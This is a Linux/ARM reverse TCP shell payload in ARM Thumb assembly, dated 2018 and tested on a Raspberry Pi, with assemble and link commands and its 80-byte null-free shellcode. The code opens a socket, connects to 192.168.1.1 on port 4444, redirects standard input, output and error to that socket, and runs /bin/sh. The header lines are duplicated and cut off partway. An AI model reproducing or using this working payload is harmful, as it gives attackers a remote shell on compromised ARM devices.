Linux ARM Reverse TCP Shell Null Free Shellcode

/*
* Title: Linux/ARM - Reverse Shell TCP (/bin/sh). Null free shellcode (80 bytes)
* Date: 2018-01-25
* Tested: armv7l (Raspberry Pi v3)
* Author: rtmcx - t /*
* Title: Linux/ARM - Reverse Shell TCP (/bin/sh). Null free shellcode (80 bytes)
* Date: 2018-01-25
* Tested: armv7l (Raspberry Pi v3)
* Author: rtmcx - twitter: @rtmcx
*/

.section .text

.global _start

_start:
/* Enter Thumb mode */
.ARM
add r3, pc, #1
bx r3


.THUMB

/* Create a new socket*/
mov r0, #2 // PF_INET = 2
mov r1, #1 // SOCK_STREAM = 1
eor r2, r2, r2 // Zero out r2
mov r7, #100 // Put 281 in r7..
add r7, #181 // ..in a 2-step operation
svc #1 // syscall returns sockid in r0

mov r4, r0 // Save sockid in r4


/* Connect to client */
adr r1, struct_addr // Address to struct_addr
strb r2, [r1, #1] // Replace AF_INET with NULL
mov r2, #16 // Address length
add r7, #2 // r7 already contains 281, so add 2 = 283
svc #1 // Client sockid will be returned in r0


/* Duplicate STDIN, STDOUT and STERR */
mov r0, r4 // Saved sockid
eor r1, r1, r1 // Zero r1 for STDIN
mov r7, #63 // Syscall for dup2
svc #1 // Execute syscall

mov r0, r4 // Saved sockid
add r1, #1 // STDOUT (1)
svc #1 // Execute syscall

mov r0, r4 // Saved sockid
add r1, #1 // STDERR (2)
svc #1 // Execute syscall


/* Execute shell */
adr r0, shellcode // Address to "/bin/sh"
eor r1, r1, r1 // Zero out r1
eor r2, r2, r2 // And r2
strb r2, [r0, #7] // Replace 'X' with NULL
mov r7, #11 // Syscall for execve
svc #1 // Execute syscall


struct_addr:
.ascii "x02xaa" // AF_INET 0xff will be NULLed
.ascii "x11x5c" // port 4444
.ascii "xc0xa8x01x01" // IP Address (192.168.1.1)

shellcode:
.ascii "/bin/shX"

/*
Compile and link with:
# as -o shellcode.o shellcode.s
# ld -N shellcode.o -o shellcode

x01x30x8fxe2x13xffx2fxe1x02x20x01x21x52x40xc8x27x51x37x01xdfx04x1cx0axa1x4ax70x10x22x02x37x01xdfx20x1cx49x40x3fx27x01xdfx20x1cx01x31x01xdfx20x1cx01x31x01xdfx04xa0x49x40x52x40xc2x71x0bx27x01xdfx02xffx11x5cxc0xa8x01x01x2fx62x69x6ex2fx73x68x58
*/